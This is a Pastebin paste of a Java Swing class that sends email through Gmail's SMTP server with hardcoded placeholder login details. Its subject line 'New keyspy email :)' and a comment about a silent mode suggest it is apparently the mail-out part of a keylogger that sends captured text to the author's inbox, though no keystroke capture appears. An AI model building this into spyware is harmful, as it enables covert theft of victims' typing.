Advertisement
Guest User

Untitled

a guest
May 13th, 2017
572
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.74 KB | None | 0 0
  1. public class SendMailUsingGmail extends javax.swing.JFrame {
  2.  
  3.     /** Creates new form SendMailUsingGmail */
  4.     public SendMailUsingGmail() {
  5.         initComponents();
  6.         this.setLocationRelativeTo(this);
  7.     }
  8.  
  9.     private static final String SMTP_HOST_NAME =
  10.     "smtp.gmail.com";
  11.  
  12.     private static final String SMTP_PORT = "465";
  13.     private static String emailMsgTxt = "";
  14.  
  15.     private static final String emailSubjectTxt =
  16.      "New keyspy email :)";
  17.  
  18.     private static final String emailFromAddress =
  19.      "user1@gmail.com";
  20.  
  21.     private static final String SSL_FACTORY =
  22.     "javax.net.ssl.SSLSocketFactory";
  23.  
  24.     private static final String[] sendTo =
  25.     {"user1@gmail.com"};
  26.  
  27.     public void startAction() throws Exception {
  28.  
  29.     Security.addProvider(
  30.     new com.sun.net.ssl.internal.ssl.Provider());
  31.  
  32.     new SendMailUsingGmail().sendSSLMessage(
  33.     sendTo, emailSubjectTxt, emailMsgTxt, emailFromAddress);
  34.  
  35.     System.out.println(
  36.     "Email enviado com sucesso para os destinatarios!");
  37.     }
  38.  
  39.     public void sendSSLMessage(String recipients[], String subject,
  40.     String message, String from) throws MessagingException {
  41.  
  42.         //com essa flag aqui ele imprimira todos os
  43.         //dados da conexão e do envio,
  44.         //setar isso para false se quiser que rode
  45.         //no silent mode.
  46.         boolean debug = false;
  47.  
  48.         Properties props = new Properties();
  49.         props.put("mail.smtp.host", SMTP_HOST_NAME);
  50.         props.put("mail.smtp.auth", "true");
  51.         props.put("mail.debug", "true");
  52.         props.put("mail.smtp.port", SMTP_PORT);
  53.         props.put("mail.smtp.socketFactory.port", SMTP_PORT);
  54.         props.put("mail.smtp.socketFactory.class", SSL_FACTORY);
  55.         props.put("mail.smtp.socketFactory.fallback", "false");
  56.  
  57.         Session session = Session.getDefaultInstance(props,
  58.         new javax.mail.Authenticator() {
  59.  
  60.         //Aqui o authenticator, poderia ser uma classe separada também:
  61.         protected PasswordAuthentication getPasswordAuthentication() {
  62.         return new PasswordAuthentication
  63.         ("user1@gmail.com", "senha123");
  64.         }
  65.         });
  66.  
  67.  
  68.         session.setDebug(debug);
  69.  
  70.         Message msg = new MimeMessage(session);
  71.         InternetAddress addressFrom = new InternetAddress(from);
  72.         msg.setFrom(addressFrom);
  73.  
  74.         InternetAddress[] addressTo =
  75.         new InternetAddress[recipients.length];
  76.  
  77.         for (int i = 0; i < recipients.length; i++) {
  78.             addressTo[i] = new InternetAddress(recipients[i]);
  79.     }
  80.  
  81.     msg.setRecipients(Message.RecipientType.TO, addressTo);
  82.  
  83.     // Setting the Subject and Content Type
  84.     msg.setSubject(subject);
  85.     msg.setContent(message, "text/plain");
  86.     Transport.send(msg);
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement